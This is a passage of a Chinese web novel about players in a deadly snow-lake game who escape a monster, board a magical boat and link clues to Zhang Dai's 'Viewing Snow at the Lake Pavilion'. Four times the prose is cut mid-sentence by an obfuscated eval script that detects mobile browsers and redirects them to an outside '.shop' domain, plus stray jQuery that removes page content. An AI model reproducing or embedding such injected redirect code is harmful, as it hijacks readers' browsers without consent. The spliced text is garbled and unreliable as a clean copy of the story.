从系统提示的“阵营本”“可随意杀人”,到湖边“水代表着生机”,之后诡异的雾气、消失的小舟与那颗人头,再到游戏手表只在晚八点亮屏的规律。
她试着开始梳理逻辑。
1号阵营的玩家不知道为何会突然杀人,是确定了线索,还是意外?
系统刻意隐瞒阵营划分,又把线索藏在夜里,会不会阵营本身就是陷阱?
玩家默认的对手是彼此,可真正的敌人,或许是藏在雪中或雾里的东西?
赵一和肖二提到有人被“拖走”,再结合那颗瞬间消失的人头,副本的危险显然不止玩家间的厮杀。
“水代表着生机”的线索又在暗示什么?是湖底藏着答案,还是小舟与舟上那个人有关系?
无数疑问盘旋在脑海中,通关要求不仅要存活72小时,还要找到副本核心真相,可目前除了“水”和“夜晚”,没有任何实质性线索。
这让祝承仪越想越焦躁,指尖无意识地抠着雪地里的冻土。
而身边的梅绛雪始终没出声,只专注地摆弄着手里的芦苇。
梅绛雪的手指冻得僵硬,芦苇叶被冻得僵硬,边缘类似小刀,没注意就被苇叶划了道小口子,雪水渗进去,刺痛感瞬间蔓延开来。
他眉头都没皱一下,只是用嘴呵了呵手,继续快速编织。
苇杆交错缠绕,很快有了大致的形状,是个简陋的方形垫子,边缘参差不齐,却足够厚实。
梅绛雪编完,没多言,只是抬手将芦苇垫往祝承仪身边推了推,动作自然得像是随手递过一件普通物品:“垫着,雪太凉。”
祝承仪一愣,但没拒绝他的好意,道了声谢,伸手将坐垫拉到身下。
粗糙的苇杆隔着单薄的运动服,竟真的隔绝了不少寒意,比直接坐在雪地里舒服太多。
梅绛雪没应声,只是微微颔首,又扯了几根芦苇,这次手法熟练的不少,很快又编了一个坐垫,垫在自己身下。
两个人就这样默不作声地眺望远方。
“你冷不冷?”良久后,祝承仪始终冻得受不了了,这才开口问道。
梅绛雪闻言侧头看她,见她冻得鼻尖通红,下巴抵着膝盖缩成一团,睫毛上还沾着细碎的雪粒。
没说话,只是微微张开手臂,往她这边挪了挪,留出一个能挡风的空隙。
祝承仪熟练地攥着芦苇垫往他身前挪了挪,钻进他怀里,后背贴着他的胸膛,将半边身子埋进他的臂弯里。
他的体温透过单薄的运动服渗过来,瞬间驱散了不少寒意,连带着呼啸的风雪,也被他的身子挡去了大半。
梅绛雪的手臂轻轻环住她的肩,掌心贴着她的后背,感受到怀中人小小的一团,还在微微发颤。
他忍不住低笑一声,声音裹着点温热的气息,落在她的耳畔:“你还真是……”
祝承仪似乎没有意识到两个人的姿势早已不同往日,她又往他怀里缩了缩,声音闷闷的:“真是什么?”
梅绛雪笑着摇了摇头:“没什么。”
“怎么话还说一半,你……”祝承仪抬头,正好撞上梅绛雪的视线,话到嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526648|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边竟也剩了一半。
不得不说,梅绛雪的这双眸子是真的好看。
好想放家里和自己那颗宝珠一起陈列起来。
咦……有点邪恶。
祝承仪摇了摇头,试图甩掉脑海中邪恶的想法。
一定是这个太冷了,脑子都被冻住了,居然开始惦记梅绛雪的眼珠子了。
两人虽然是死对头,但也不能干挖人家眼珠子这种违法犯罪的事情吧。
梅绛雪低头看着祝承仪一秒变化好几个表情的样子,抬手敲了敲她的脑壳:“你没事吧,脑子冻傻了?”
“你才冻傻了!”果然,怼梅绛雪的话根本不需要动脑子,脱口而出。
两人嘴上互怼,视线却像被无形的线牵住,谁都没有先移开。
就这么安静地对视着,仿佛是一场无声的大眼瞪小眼,谁先挪开,谁就算输。
风雪落在芦苇上簌簌轻响,天地一片白茫茫,可祝承仪的眼里,此刻只剩下梅绛雪那双浅棕色的眸子。
他的眼瞳很亮,清清楚楚映着她自己的脸。
“我好看吗?”祝承仪问得理直气壮,眼神坦荡得毫无暧昧。
因为她是真的觉得自己漂亮,哪怕冻得脸色发白,嘴唇发紫,发丝凌乱,但也很漂亮不是嘛。
梅绛雪心口却猛地一跳,呼吸有些错乱。
他几乎是立刻别开了视线,祝承仪一看他先挪开目光,立刻眼睛一亮,压低声音却难掩得意:“我赢了。”
那副死对头对决我完胜的得意样子,显得她更鲜活了几分。
梅绛雪不语,但体温默默上升。
【哈哈哈哈祝承仪是真的觉得自己好看才问!纯得一批!】
【好好好,撩人于无形之中,祝祝还沉浸在自己的美貌之中,这个钢铁直女】
【可祝祝也是真的好看啊啊啊,我爱她这副自信的样子嘿嘿,梅绛雪你撒手,让我来!】
“咦?”
祝承仪忽然动了动,脸颊轻轻蹭了蹭他的胸口,明显感觉到他体温在一点点往上攀。
她愣了愣,本着“都抱在一起取暖了,好歹关心一下队友”的原则,抬手就往他额头贴去。
“你发烧了吗?怎么越来越烫。”
“没有。”梅绛雪声音压得很低,有点哑。
祝承仪却没信,皱着眉一本正经分析:“不可能,这天气正常人都快冻僵了,你体温还持续上升,肯定不正常。”
她顿了顿,语气严肃起来:“你之前体检数据没事吧?等出了副本,医疗室应该就对新玩家开放了,你记得再去检查一下吧。”
梅绛雪垂眸,视线落在她还贴在自己额头上的手,轻轻捉住手腕,拿了下来。
语气认真,笃定:“我没病。”
祝承仪还想再说,就被梅绛雪淡淡一句堵了回去:“再动,就下去自己坐雪地里。”
她立刻安分了,有温暖不贴是傻子,于是乖乖靠回他怀里,只是嘴里还小声嘀咕:“切,不说就不说,病死你算了。”
梅绛雪没搭理她的嘀咕,只是环在她腰上的手臂又紧了紧,将人牢牢护在怀里。
12. 湖心亭看雪(4)
不知又静等了多久,下方依旧没有任何动静。
长时间盯着这片白茫茫的雪地,祝承仪只觉得双眼一阵阵酸涩刺疼,再看出去,连远处的雪山都变得模糊发花。
她下意识眯起眼,伸手揉了揉眼角:“不行,再看下去要雪盲了。”
雪地会反射高达84%的太阳紫外线,长时间看着白茫茫的雪,很有可能会灼伤角膜,导致损伤。
梅绛雪的状态也没好多少,眸底带着明显的红血丝,视线微微发虚。
他沉默片刻,低头扯下自己运动服的薄内衬,内衬是纯棉的,布料柔软,刚好能遮光。
他将布料对折,递到祝承仪面前,声音低沉稳定:“轮流观察,一个人盯,一个人蒙上眼休息,我先盯,一刻钟后换你。”
梅绛雪说着,抬手熟练地将布料蒙在祝承仪眼睛上,绕到后面系了个简单的结。
祝承仪靠在他怀里,蒙着眼看不见东西,听觉反而变得格外敏锐。
能听见他浅浅的呼吸,能感受到他胸膛细微的起伏,连他偶尔转头观察的动作,都一清二楚。
祝承仪在心里默默计算着时间,大概十五分钟她拍了拍梅绛雪,解开布条递给他。
梅绛雪接过系上,闭目养神。
祝承仪百无聊赖地拿起地上的雪,默默搓了个小雪人。
梅绛雪刚蒙上布条,耳边就传来搓雪的声音,他提醒道:“冻手,别瞎折腾。”
祝承仪没理他,手里已经捏好了个圆滚滚的小雪人,指尖沾了雪水又凉又麻,却偏要凑到他面前晃了晃:“你说,这副本的阵营设定,是不是故意把玩家往互相提防的路上引?”
她将小雪人往芦苇丛里一塞,拿起小树枝在雪地上划着圈,继续道:“系统只说可随意杀人,却没明说阵营对立的胜负规则,甚至通关规则是根据副本核心真相。”
“就算知道了自己所属哪个阵营,但没有找到核心真相,依旧无法通关。”
“说不定那个被杀的玩家,到死都没搞清楚自己为什么会被盯上,为什么会死。”
梅绛雪闻言微微偏过头,蒙着眼却依旧能精准捕捉到她的方向:“不止是阵营。”
“系统从头到尾都在模糊信息,手表只在八点亮起,夜晚湖上出现的小舟和人,它应该不是没给提示,是把所有提示都伪装成了陷阱。”
祝承仪手上一顿,雪地上划出的细线骤然停住:“你也觉得,被杀的那个人,不是被其他玩家动手的?”
“不确定。”梅绛雪不敢轻易下定论,“但可以确定等夜晚八点降临,如果小舟再次出现,应该会有更多线索。”
“嗯。”祝承仪点了点头,又道,“这个湖一眼都望不见头,副本投入三十个人,到现在都没碰上几个人,可见副本地图还是很大的。”
她捏着一小捧雪,任由冰凉的雪从指缝间慢慢滑落,目光扫过一望无际的雪白湖面,无聊地捏了一排小雪人。
祝承仪和梅绛雪一连换班了两轮,天色迟迟未暗,不知道距离晚上八点还有多久。
轮到祝承仪闭目养神时,大概才过了五分钟左右,祝承仪突然听到一阵细微的脚步声,她压低声音提醒道:“有人来了。”
梅绛雪“嗯”了一声:“我看到了。”
视线尽头,三道身影正沿着湖岸缓慢挪动,手里都握着枯枝当拐杖,深一脚浅一脚地踩在积雪里,他们身上沾满雪沫,看起来狼狈不堪。
梅绛雪声音压得极低:“下面有三名玩家。”
祝承仪扯下眼罩,顺着他示意的方向往下看。
梅绛雪微微俯身,将祝承仪往芦苇丛更深处按了按,两人几乎完全藏进茂密的苇杆里。
“别出声。”他气息压得极低,“他们在找地方躲风雪,这半坡是附近唯一的制高点,很可能会上来。”
祝承仪点头,目光冷了下来,手指悄悄摸向旁边一根粗壮的枯枝。
那三人在坡底停住,互相低声交流了几句,被风雪刮得断断续续。
“……上面……好像能挡风……”
“万一有人呢……”
“怕什么,现在……谁不是为了活……”
那三人还没商量好,不远处的雪地里突然炸开一声撕心裂肺的惨叫,那声音短促得像被生生掐断。
紧接着就是骨骼碎裂与肉纤维被狠狠撕裂的刺耳声响,混在呼啸的风雪里,听得人头皮发麻。
一股浓稠到化不开的血腥味猛地扑面而来,不是普通的血腥味,而是腐臭混合着生肉搅在一起的恶臭味。
混着风雪黏黏糊糊地飘过来,像是一张血淋淋挖过血肉的大手,死死捂住口鼻,令人喉咙发紧。
祝承仪和梅绛雪在此之前哪里能接触这种味道,胃里顿时翻涌。
“杀人了。”
那啃噬的撕扯的声响越发清晰,根本不是普通的厮杀,更像是某种野兽在疯狂啃食猎物。
血腥味浓到极致,恶心地祝承仪胸口发闷,眼前阵阵发黑。
“吃人了。”
啃噬声骤然停止。
取而代之的,是一阵低沉嘶哑的吼叫,此刻正朝着半坡的方向快速逼近。
血腥味不再是飘来,而是压顶而来,浓得要把人活生生溺死。
“跑!”
二人几乎是同时起身,深雪没过膝盖,甚至漫到大腿根,每一次抬脚都要耗费巨大的力气。
寒气顺着脚踝一路向上蔓延,更别说紧张时的肌肉抽搐,骨头缝都如针扎般刺痛。
但祝承仪不敢停,依旧手脚并用地在往安全位置跑,梅绛雪在她身侧,同样步履艰难。
两人之间始终保持着安全的距离,谁也不敢贸然触碰,在齐腰深的雪里,一旦互相牵扯,只有双双栽倒,被身后的怪物吞噬的份。
呼啸的风声在耳边炸开,变成一道道尖锐的哨音,混着身后越来越近的嘶吼声,震得人内脏发疼。
祝承仪余光飞快扫到了身后的东西,是雪怪吗?
好像不是。
白茫茫的一片,一团扭曲地姿态在雪地里爬行。
隐约能看见身后甩着什么,是尾巴吗?
不断蠕动的尾巴,像烂肉做的鞭子,在雪地里疯狂抽打,半融在雪里,红的白的搅在一起,看不真切。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526649|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这到底是什么东西?”
“快跑,不想死就话就先别想这是什么东西了!”
慌不择路间,两人迎面撞上了另一群正在奔跑躲藏的玩家,人群里,祝承仪一眼看见了脸色惨白的何欣愿。
何欣愿显然看见了他们,但根本来不及喊他们,那道令人毛骨悚然的嘶吼再次炸响。
所有玩家瞬间陷入极致恐慌。
“啊啊啊!!!”
雪野里瞬间乱作一团。
惨叫声、嘶吼声、混乱的脚步声,彻底撕碎了这片死寂雪原的平静。
有人慌不择路摔进雪坑,有人互相推搡争抢生路,有人被吓得失声痛哭。
祝承仪和梅绛雪被人流冲得微微错开。
祝承仪看了一眼身后,怪物的嘶吼声顺着风雪钻进耳膜,每一次震动都让人心脏像是被钝器重击,San值疯狂下坠,眼前阵阵发黑。
祝承仪只觉双耳猛地一热,黏稠的液体瞬间顺着耳道往外涌,顺着脖颈滑进衣领,冰冷刺骨。
她抬手一摸,指尖全是温热的血。
还没等她反应,鼻腔也传来一阵腥甜,鲜血不受控制地往下滴落,砸在雪地上,开出一朵朵刺目的小红花。
眼前开始泛起重影,耳边的嘶吼像无数根细针,狠狠扎进大脑深处。
祝承仪起身,大步往前跨,抬手死死捂住双耳,可那诡异的低频声波依旧无孔不入,震得她太阳穴突突直跳。
她大口地喘着气,脚下依旧不停,口腔鼻腔满是血腥味,胃里持续翻涌。
“水代表着生机。”
祝承仪突然想起之前发现的线索。
湖!
只有湖能救命。
祝承仪几乎没有犹豫往湖的方向冲,梅绛雪此刻也想到了这一点,他四孔出血,狼狈不堪。
但大家都在为了活着而努力。
祝承仪双耳流血,鼻血不止,视线早已模糊,却依旧死死盯着前方的湖面。
冰冷的寒风刮在脸上,她却像感觉不到痛,只凭着一股求生的本能,跌跌撞撞往前冲。
快了!
还有最后三米!
湖水的寒气扑面而来,那股令人窒息的血腥味与腐臭,竟在靠近湖面的瞬间,被一股清冷的水汽生生压退了几分。
岸边冰面开始融化,祝承仪一头扎进了湖水中,没有想象中那般刺骨,反到带着一丝温润。
湖水瞬间没过头顶,耳边那震碎神经的低频嘶吼戛然而止。
世界瞬间安静下来,只剩下湖水轻轻拍打的声响,和自己剧烈的心跳。
仿佛妈妈的怀抱。
祝承仪浮出水面,大口喘着气,鲜血在周围晕开一圈淡淡的红,却很快被湖水冲淡。
她抹了一把脸上的血与水,看见岸上的玩家像下饺子一般往湖里跳。
湖水温柔的接纳了每一个人。
那团在雪地里疯狂爬行的黑影,终于在岸边停住。
它像是被湖水的气息彻底激怒,又带着无法掩饰的恐惧,不断甩动着身后的触须,发出一阵阵暴躁的嘶吼,却始终不敢踏入湖水半步。
13. 湖心亭看雪(5)
【提示副本当前时间:20:00】
游戏手表振动,天地间再度陷入黑暗。
黑暗中,密密麻麻出现更多的“人”,那是一群和岸边怪物一样的黑影,只是更瘦小残弱。
它们畏惧湖水,不敢踏足水边,只能在岸边围成一圈,每一道影子都在甩动身后的触须,不断发出低沉的嘶吼,却始终不敢往前一步。
湖水中,祝承仪刚浮出水面,大口喘着粗气。四孔出血的伤口在湖水浸泡下终于不再渗血,脸色却依旧苍白。
梅绛雪刚游到祝承仪身边,一阵急促的划水声传了过来,何欣愿像条泥鳅一样挤了过来,小脸上满是兴奋,终于凑到了祝承仪身边。
“祝祝,终于又见到你了!”
“没和你分到同一个传送点的时候,我的心都拔凉拔凉的!”
何欣愿小声又絮叨地和祝承仪说着话,何欣愿算是最早一波进入湖中的,所以没怎么受伤。
倒也不是她发现了湖能救命,而是她被人撞到,意外踩到石头,一头就扎湖里了。
因为和大部队入水的位置还有些距离,她呼哧呼哧,好不容易才游了过来,甚至把刚到祝承仪身边的梅绛雪给挤走了。
梅绛雪被她一撞,身体下意识往后漂了半米,浮出水面时,眉头瞬间皱成了一个川字。
何欣愿对此丝毫未觉。
祝承仪趴在何欣愿递过来的木板上,刚缓过来,还没来得及回应,梅绛雪冰冷的声音直接打断了何欣愿的话。
“闭嘴,你话怎么那么多。”
何欣愿一愣,视线在祝承仪和梅绛雪身上打量了一下,皱着眉头:“不是?你谁啊?”
梅绛雪连一个眼神都没分给她,周身冷意更甚,湿漉漉的头发贴在额前,衬得脸色愈发沉冷:“碍事。”
何欣愿顿时不服气了,仰着头就要和他理论:“我跟我朋友说话,碍着你什么事了?你这人怎么这么没礼貌!”
“朋友?呵。”梅绛雪冷笑一声。
何欣愿更炸了,她最讨厌这种三分讥笑,四分凉薄,五分漫不经心的扇形图男人:“你这个——”
她的话刚吼到一半,突然戛然而止。
湖边,亮了。
所有人的目光瞬间被吸了过去。
湖岸阴影里,那艘小舟,不知何时静静浮在了水面上,船身低矮,木质陈旧,却在船中央支着一只小小的火炉。
火光摇曳,暖黄明亮。
舟上无人,只有炉火静静燃烧,将船板映得暖亮。
一圈围在岸边的黑影怪物,竟像是也畏惧这火光,纷纷往后缩了缩。
祝承仪猛地咳出一口血,混在湖水里散开淡淡红色涟漪。
她刚才本想开口劝架,可之前被声波震得脏腑受损,一口气没接上来,鲜血瞬间倒流堵在喉咙里,半天没喘上气。
“祝祝!”何欣愿猛地转头看向祝承仪,梅绛雪也是立刻上前稳稳托住祝承仪的后背,将她轻轻往上推了推,好让心脏不受湖水压迫,空气能进入肺部。
祝承仪拍了拍梅绛雪的手臂,示意自己没事,深吸一口气,胸口的剧痛稍微缓解了些。
“我没事,你们别吵了。”祝承仪声音有些沙哑,“当务之急是出副本。”
“哼,谁和他吵了,我才不屑。”
“呵。”
【有一说一,这算是争宠吗?】
【我同意祝承仪一妻一夫制】
【同意+1】
湖面漆黑,只有小舟上的火光稳稳亮着。
黑暗里不止他们,有人已经游到了船边,伸手死死抓住船舷往上爬。
可他的手刚扣紧木板,整艘小舟突然猛地一震。
没有风,没有浪,船身以一种极其诡异,粗暴的动作把人往侧面一甩。
“砰——”
那人直接被狠狠甩飞出去,砸在几米外的湖水里,溅起一大片水花。
周围的玩家瞬间僵住。
又有两个人不信邪,一左一右抓住船板,刚想往上爬,小舟连晃都没晃,只是微微一沉,随即爆发出一股蛮横的力道。
两人同时被弹飞,重重摔在水面上,呛得半死。
“奇怪,这船竟不让人上。”何欣愿皱着眉头。
祝承仪没说话,她的视线落在了火炉边。
那是一只古朴的白瓷酒壶,造型简洁,釉色温润,静静放在火炉边缘,被火光映得泛着暖光。
而在酒壶的两侧,放着三个酒杯。
她清楚地记得,上次明明是两个酒杯。
这次,多了一个。
刚才一个人上去,被甩飞,两个人上去,被弹飞。
难道是要三个人同时上去?
要真是如此,是不是有些荒谬。
祝承仪把自己的想法给了梅绛雪和何欣愿说,何欣愿表示试一试呗,大不了被甩飞,再游回来。
梅绛雪却摇了摇头,不赞同何欣愿的说法,被甩飞的后果可小可大,他不愿意赌。
大家讨论声刚落,周围就默默有靠近的划水声。
有偷听者。
而且听那动静,至少有三个人。
祝承仪和梅绛雪对视一眼,瞬间保持了绝对安静,只有何欣愿还懵着,瞪大眼睛看向水面。
只见黑暗里,三道身影正贴着船舷,屏住呼吸,一字排开。
祝承仪借着小舟上的火光看到,三人依次上船,三声闷响接连炸开,比之前任何人被甩飞都要惨烈。
那三个偷听者,像三片破布,被生生甩飞出去,惨叫着掉进水里,直接被水拍晕过去。
“不是三个人的数量吗?”何欣愿喃喃自语。
“数量。”祝承仪冻得手臂开始发麻,她心底默默计算着,目光一寸寸仔细扫过船身,“船板的宽度,火炉的位置,酒杯摆放的间距。”
“都是三等分!”祝承仪得出结论。
整艘小舟从船头到船尾,被无形地划分成了三块区域,不多不少,正好对应三人。
“系统不会给死路,它把杯子从两只变成三只,就是在提示我们,必须三人同步登船。”祝承仪这次压低了声音,确保只有他们三人能听见。
“三人同步登船,重点在于同步。”
“而且那么快,船头、船中、船尾都被均匀地分成了三等分。”
“船要的,不光是三个人。”
“而是……三个人,分别从三个不同方向,同时登船。”
“明白了。”三人迅速分配
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526650|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好位置,梅绛雪在船尾,何欣愿在船中,祝承仪则在船头。
三个人小幅度挪动位置,精准占据小舟三等分的三个位置,彼此隔着不远不近的距离,在漆黑的湖水中形成稳定的三角。
祝承仪深吸一口气,压下胸口翻涌的钝痛,三人约定好,祝承仪只要将手中木板往外一扔,听到落水声,便同步登船。
火光在水面轻轻摇晃,三只白瓷酒杯静静立在炉边,温好的酒散发着浓郁的酒香。
“砰——”木板落水。
三人同时发力,掌心狠狠一撑船舷,身体利落向上翻越,三道身影精准的在同一时间,三个方向成功上船。
小舟只是极其轻微地向下一沉,随即平稳托住三人的重量。
船板上传来火炉温热的暖意,瞬间驱散了湖水刺骨的寒冷。
成了。
何欣愿刚站稳,就腿一软瘫坐在船板上:“我们成功了!”
三人刚坐稳,小舟就轻轻一颤,没有任何外力牵引,船身缓缓调转方向。
紧接着,水波被船身无声地划开,小舟自己动了,它的速度平稳但又很快,稳稳破开湖水,朝着湖心而去。
小舟上的火炉驱散了置身的寒冷,暖融融的火光洒在船板上,将三人的影子拉得长长的。
三人原本浑身湿透,一出湖水,浑身冰冷刺骨,发丝都在往下滴水,冻得人牙关打颤。
可就在他们踏上船板的那一刻,火炉散出的暖意像是活过来一般,化作一层轻柔的暖雾,将三人轻轻包裹。
祝承仪只觉得身上一轻,衣服以肉眼可见的速度变干,湿发也迅速蓬松起来,几秒钟的功夫,从头到脚,竟彻底干爽了。
何欣愿惊喜道:“全干了,这船也太神奇了吧!比烘干机还好用!”
暖雾轻轻一绕,便无声散去,只留下浑身暖洋洋的舒适感,连之前冻得发麻的四肢,都重新恢复了力气,胸口的钝痛都减轻了不少。
三人脸上恢复了正常红润,不再是之前的惨白。
小舟依旧平稳地朝着湖心疾驰,祝承仪举起小舟上的烛台,往水下看去。
湖水深不见底,黑漆漆一片,烛火的光亮一触碰到水面便被吞噬,连一丝涟漪都照不出来。
小舟越往深处走,周围越是寂静无声。
天地间只剩下船身破水的轻响,和火炉里柴火偶尔噼啪的一声。
就在这时,祝承仪握着烛台的手微微一顿,抬眼望向正前方的黑暗。
“你们看。”
梅绛雪和何欣愿顺着她所指的方向看去,原本空无一物的湖面中央,竟缓缓浮现出一座湖心亭的轮廓。
飞檐翘角,木柱回廊。
湖心亭在漆黑的夜里被一层淡淡的雾气笼罩,若隐若现,像极了传说里的水府仙台。
小舟的速度丝毫未减,朝着那座亭子笔直驶去。
随着距离越来越近,亭中的景象也渐渐清晰。
亭子中央,似乎还有两三粒人影,静静立在亭心,背对着他们,一动不动。
没有动作,没有声音,连衣袂都不曾飘动,像是早已立在那里千年的石像。
“那是人吗?怎么一动不动?”
【叮咚——1号阵营已击杀三人。】
14. 湖心亭看雪(6)
【一号阵营已击杀三人】
又是全体通报,又是一号阵营。
但这次却是三人,这绝对不会是一个人就能做到的。
难道已经有人知道了线索,并且还都是1号阵营的?
他们不仅抢先找到了生路,还在暗中疯狂清场?
【不是,一号阵营到底有谁啊?】
【第一次看不懂副本,我的上帝视角呢!我要看剧透】
【暗藏玄机的C级副本,有人还记得这只是个C级副本吗?】
【不会又出现三颗人头吧】
果真,如弹幕猜测,原本亭中伫立的人影轰然倒下,滚落血淋淋的三颗人头。
三颗头颅在亭心石板上滚了半圈,最终面朝小舟的方向停下,血淋淋的头颅早已莫名其妙,血染了满地,顺着台阶流进湖里。
何欣愿第一次亲眼看见人头,吓得连忙闭眼:“好家伙,是真人头,1号阵营的人到底做了什么?”
祝承仪喉间发紧,总感觉有东西从脑海中闪过,却没抓住。
手腕上的游戏手表振动了一下,送来了线索。
【叮咚——阵营任务成功触发】
【□者,守;□者,侵】
两个最关键的关键字,被系统彻底屏蔽,只留下两道刺眼的空白方框。
小舟稳稳抵着湖心亭的石阶缓缓停驻,大家扶着船边起身,依次下船。
就在他们的脚刚踏上亭面,地上鲜血淋漓的三颗人头,竟在众目睽睽之下再度凭空消失。
与此同时,天光大亮。
祝承仪已经预料到了,她提前闭上了眼睛,待眼睛缓了几秒后,才重新睁开眼。
她压根就没指望能看到那三颗人头到底有什么线索。
副本可是狡猾的很。
祝承仪彻底走上台阶,站在亭子,小舟渐渐远去,天地间只剩下一片混沌的白,将湖心亭与他们三人,牢牢困在正中。
“这还是个单程票啊。”何欣愿望着渐行渐远的小舟,撇了撇嘴。
祝承仪低头看向自己的手表,这一次手表没有黑屏,却始终保持在那页新线索上。
【□者,守;□者,侵】
体感上来说,明显白天等待的时间更长,而手表显示晚上八点,再到此刻天亮,似乎才不过一个小时。
这时间明显有问题。
“先检查一下这里有什么线索吧。”梅绛雪沉声开口,率先迈步散开。
这是一座典型的中式古亭,木柱斑驳,飞檐上积着厚雪,四下通透无遮,一眼就能望穿。
亭心位置摆着一套石桌石凳,桌面宽大,四周均匀分布着四张石凳,湖中雪落无声,大雪盖过湖面,干干净净一片白。
祝承仪走到亭柱旁,抬手拂走柱面的积雪,下面刻着几行模糊的古体诗词,字迹被腐蚀,无法看清其内容。
石桌粗糙平整,没有任何痕迹,普通得不能再普通。
亭子空间不大,三个人没多久就查遍了,湖心亭四面灌风,刚缓过来的身体再度冻僵。
祝承仪站在石桌旁,思索片刻蹲下,瞳孔微缩,桌下竟也刻着字。
字体苍劲有力,笔锋凌厉却不飘。
竟是一个“痴”字。
祝承仪招呼他们:“这里有发现。”
何欣愿凑过来,看清那个字:“痴?这字什么意思?是提示?”
“痴痴、痴傻、痴情、痴迷、痴狂?”
“应该都不是。”祝承仪缓缓站起,视线环视四周,脑海中产生了一个想法。
这景象,太熟悉了。
熟悉到让人心头发寒。
她缓缓开口,声音压得极低,吐出一句每个人都熟悉的诗句。
“莫说相公痴,更有痴似相公者。”
话音刚落。
【叮咚——】
腕间的游戏手表突然剧烈震动,一道猩红的提示条强行弹开,覆盖在原本的阵营任务页上。
【不降,不辱,不悔】
这个发现令大家一时之间都愣在原处,张岱诗中的湖心亭竟以这种方式出现在了眼前。
原来,那时他看到的又或者是回忆中的景色是这般。
天地一白,万籁俱寂,没有喧嚣,没有纷争,只有孤亭一叶,小舟一痕,雪落无声。
祝承仪望着眼前这片干净到近乎残忍的纯白,一时之间不知该如何开口。
曾经的锦衣玉食化作山间风雪。
课本上短短一篇古文,那时只当是文人雅事,摇头背诵,只觉意境清冷,可此刻亲身感受着这片雪,不再是纸上墨字,而是活生生地感受到那一个“痴”的真正含义。
何欣愿眼眶微微发热,伸手接住一片亭檐落下的碎雪:“原来……这就是那场不会停的雪。”
原来,这场雪下的太久了。
久到,雪掩盖了一切。
但总有一阵风会吹动雪面,露出底下的痕迹。
“雪终会停的。”祝承仪喃喃道。
【这个诗我在选修课地球诗词赏析里看过,但没看懂,有研究这个专业的朋友来分析一下吗?】
【看不懂加一,这个和副本有什么关系?】
【他们表情看起来有点悲伤,也是和这个有关吗?】
【为什么这个副本不开上帝视角,屏蔽了好多镜头,太奇怪了!!!】
【我我我,我是学地球诗词文学专业的,没想到终于有一展身手的时候了,咳咳(清嗓,给但科普一下,“莫说相公痴,更有痴似相公者”这句话是出自张岱的《湖心亭看雪》,讲述的是明朝灭亡之后,作者张岱避世隐居,在大雪三日的深夜独自去西湖湖心亭看雪的故事】
【但他写下这个诗的时候明朝早就覆灭十几年了,却依旧沿用故国年号,应该就是在回忆了,我们特聘老师总结说他笔下的“痴”,是痴迷于山水,是忠于旧朝的气节,是乱世里不肯低头,不肯同流合污的孤傲】
【哇呜,还地是专业的,虽然有点听不懂,但感觉很悲哀的感觉】
【确实,这样吧我把这个诗的课件笔记发论坛,感兴趣的可以去看看】
弹幕正在疯狂补课,而亭中的三人,已经在这片纯白的静雪里,默默拼凑出了全部真相。
祝承仪抬腕,翻了翻游戏手表,声音平静却笃定:“所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526651|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有的线索,都指向同一个时间点。”
“现在的白昼是假象,应该算是安全区,而真正的副本,从夜晚八点才开始,所以我们发现的真相应该要等晚上八点才能验证。”
“那个。”何欣愿默默举手,“我还有一个问题。”
“这个副本感觉和阵营好像没有什么太大的关系啊。”
祝承仪搓了搓手,哈了一口气,脖子都往衣领里缩了缩:“确实,表面上来看通关重点还是在寻找真相,很奇怪。”
大约又过了才十分钟,祝承仪就感觉自己浑身寒透了,暴露在外面的皮肤如同刀割一般疼,身体不受控制地打颤,呼出来的雾气飘到睫毛上,睫毛都结了一层白霜。
风雪被刮了进来,落在身上,远远看,三个人要是不动,活脱脱三个雪人。
被困在湖心亭,想跑就跑不了。
何欣愿声音发着颤:“太冷了,我们要不要三个人缩一起还能暖和一点。”
祝承仪冻得牙关打颤,点了点头,几乎是被架着往亭心挪了几步。
何欣愿和梅绛雪也暂时和解,祝承仪坐在中间,两人一左一右贴着她坐下,抱团取暖。
